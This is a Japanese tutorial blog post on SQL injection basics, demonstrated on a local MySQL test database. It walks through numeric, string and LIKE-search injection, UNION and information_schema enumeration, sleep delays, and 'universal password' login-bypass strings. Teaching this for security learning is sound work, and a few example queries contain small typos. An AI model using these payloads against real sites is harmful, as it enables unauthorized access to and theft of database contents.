banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

SQLインジェクション--基礎編

起因#

ずっと作る予定だったペネトレーション基礎チュートリアル

基本的な情報収集とペネトレーション環境構築編を紹介した後、正式に始まったと言える

長い間かかるかもしれないが、必ず更新していく

** 声明:著者の初志はネットワークセキュリティ知識の共有と普及であり、読者がこれによりネットワークセキュリティに害を及ぼす行動を取った場合、その結果は自己責任であり、著者及び本サイトとは無関係です **

SQL インジェクションの紹介#

SQL 文:SQL(Structured Query Language)、構造化クエリ言語は、リレーショナルデータベース通信の標準言語です。

クエリ:SELECT statement FROM table WHERE condition
レコード削除:DELETE FROM table WHERE condition
レコード更新:UPDATE table SET field=value WHERE condition
レコード追加:INSERT INTO table field VALUES(values)

SQL インジェクション(SQL Injection):

プログラマーがコードを書く際に、ユーザー入力データの合法性を判断せず、アプリケーションにセキュリティの脆弱性をもたらし、ユーザーがデータベースクエリコードを提出できるようにし、プログラムの返す結果に基づいて、知りたいデータを得たり、データベース操作を行ったりすることができる。

SQL インジェクション攻撃の流れ:

  1. 注入ポイントの判断 2. 注入ポイントのタイプの判断 3. データベースタイプの判断 4. データベースデータの取得、権限昇格

SQL インジェクション原理分析#

本チュートリアルは shack2 大佬の SQL インジェクションチュートリアルを基に書かれています

あまり覚えていないが、ノート作成日時は19-03-01です:

image

しかも現在shack2大佬のブログは閉鎖されており、github アドレスだけが残っています

大佬の多くのツールも非常に使いやすく、後で紹介しますが、本文中には大佬の環境がない部分もあります

大佬の画像を使用するしかありませんが、理解できると思います

私はここでローカルのNavicat for MySqlツールとphpstudyが提供するMySqlデータベースを使って説明します

これらの 2 つのツールは前に紹介したもので、それぞれ

  • <<Navicat ファミリープロダクトのインストールと破解>>
  • <<ペネトレーション練習環境の構築(長期更新)>>

Navicatツールでローカルのmysqlデータベースに接続した後、新しいデータベースtestを作成します

testの中に新しいテーブルnewを作成します:

image

以下のデータを入力します:

idtitlecontenttype
1私は SQL インジェクションあなたは知っていますか?1
2私は SQL インジェクションではないあなたはまだ知らないですか?2

次に、クエリツールを使って以下の文を実行し、一行を挿入します:

INSERT INTO test.new VALUES(3,'test','test',3)

image

実行をクリックし、new テーブルを更新すると、データが挿入されていることがわかります:

image

基本的なクエリを行います:

image

部分データを検索するには、limit (x,y) を使用して x 番目から y 件のデータを取得できます

例えば、ここでは 0 番目から 1 件のデータを取得します(sqlserver のキーワードは top を使用):

image

image

数値型インジェクション#

id=1をクエリします:

image

id=1 AND 1=2をクエリすると、データはありません:

image

ここまで来ると、SQL インジェクションがあることが判断できます。フィルタリングがなければ、ブラインドインジェクションが可能です。or 1=1(常に真)を試してみましょう:

image

こう理解することもできます:

SELECT * FROM test.new WHERE (id=1 OR 1=1)

ブラインドインジェクションを試して、直接'を追加します:

image

SQL のエラーメッセージが表示され、エラー表示インジェクションがサポートされていることを示しています

Union を使って試してみましょう、直接Union Select 1

image

エラーが出ました、列が合っていないので、order byを使って列を判断します:

image

order byを 5 に加えるとエラーが出ました(データがない可能性もあります):

image

このテーブルには 4 列のデータがあることを示しています。もし元のクエリ文が:

SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'

この時、ORDER BYを加えても問題ないかもしれません:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

image

しかし、プログラム自体がORDER BYを持っている場合、例えば元の文が:

SELECT * FROM test.new WHERE id=1 ORDER BY id DESC

この時、1 の位置に再度ORDER BYを挿入する必要があります:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC

この文はエラーになります:

image

この時、# で後ろの文をコメントアウトできます(時には文字エンコード %23 を考慮する必要があります。URL 内で #はアンカーリンクを示し、ウェブページ内の位置に直接移動します):

SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

image

次に、特定のデータベースが存在するかどうかを判断する方法について説明します。exists関数を使用できます:

SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

image

正常に返される場合、adminというテーブルが存在することを示しています。MYSQLには自動的にinformation_schemaというデータベースがあります

それでは、information_schema.tablesが存在するかどうかを見て、このデータベースがMySQLデータベースかどうかを確認します:

image

正常に返されます。Union SELECTを使ってどの列が表示をサポートするかを見ます(ここでは大佬のチュートリアルの画像を使用しています):

image

** ここでは私が使用している環境が良くないため、部分的にしか表示されませんが、実際には多くのターゲット環境が多フィールドで部分的にしか表示されないことが多いです **

この図は明らかに第 2 列が表示できることを示していますが、もし一つのクエリ結果しか表示できない場合、後の結果は見えない可能性があります

前の部分にAND 1=2を加えて否定することで、後の一つのデータだけを表示させることができます:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

image

表示位置がわかったら、その位置で何かを行うことができます。まずはデータベースをクエリします:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

image

次にバージョンをクエリします:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

image

バージョン番号は5.5.53であることがわかります。次に、information_schemaデータベースのすべてのテーブル名をクエリします:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

image

遅延関数は直接 sleep (10) で行けます:

image

文字型インジェクション#

私たちがデフォルトでテストするアドレスは:

SELECT * FROM test.new WHERE type=2

image

まずAND 1=1を試します:

image

次に1=2を試します:

image

どちらも出力がなく、エラーもないので、どうすればいいのでしょうか?文字を分析してみましょう:元の文は:

SELECT * FROM test.new WHERE type='xxx'

今、type=2をクエリする際にAnd 1=1を追加する必要があります:

SELECT * FROM test.new WHERE type='2' AND 1=1'

後ろに単一引用符があるので、ここでは文字型を使って後ろの単一引用符を閉じるのが最適です:

SELECT * FROM test.new WHERE type='2' AND '1'='1'

つまり、私たちのクエリデータは:2' AND '1'='1で、これにより2をクエリし、AND 1=1を追加しました:

image

他の部分は数値型インジェクションとほぼ同じです。例えばorder by

SELECT * FROM test.new WHERE type='2' ORDER BY 1

image

Union:

SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

image

検索型インジェクション#

一般的な文は次のようになります:

SELECT * FROM test.new WHERE title LIKE '%xxx%'

例えば:

image

プログラム自体の %' を使って前の部分を閉じ、後ろを #でコメントアウトできます:

image

image

ここでは POST 方式で提出しているため、エンコードは不要ですが、GET メソッドで提出する場合は、最初にエンコードする必要があります

image

したがって、クエリ文が '% xxx%' の場合、直接検索 %' and '%'=' で閉じることができます

万能パスワード#

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)

実際には閉じるという意味です。紹介の便宜上、testデータベースにadminテーブルを再作成し、データは以下の通りです:

idusernamepasswd
7testtest
8nullnull
9nullnull
10aaaxx
11aaaxx
12

image

この古典的なログイン文を分析します:

SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

image

私たちが中間にor 'a' ='a'を挿入する場合、次のような文が構成されます:

SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

image

成功してクエリできる場合、私たちの入力部分は:

aaa' OR 'a'='a

こうすることでusernameの前後の’を閉じることができ、任意のユーザー名のデータをクエリできます

クエリされるのはpasswordxxのアカウントのデータです:

image

しかし、これはpasswordが正しい前提の下でのことですので、できれば空にするのが良いです:

image

コメント符を使うこともできます:

SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

image

これで全データをクエリできます。簡単に言えば、前のusernameを閉じて真に保ち、後ろのpasswordを #でコメントアウトすればOKです。これが万能パスワードadmin' or 'a'='aの由来です

したがって、万能パスワードがpasswordの部分で使用される場合、文は次のようになります:

SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

image

プログラムが前の部分を一つの全体として見なすため:

SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')

したがって、これは常に真ですが、ログイン部分は直接SELECT *ではないでしょうが、すべての結果を得ることができます。

基礎原理の説明は非常に退屈ですが、後でいくつかの例や簡単な記憶法を紹介する予定ですので、ぜひご期待ください!

本文完。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。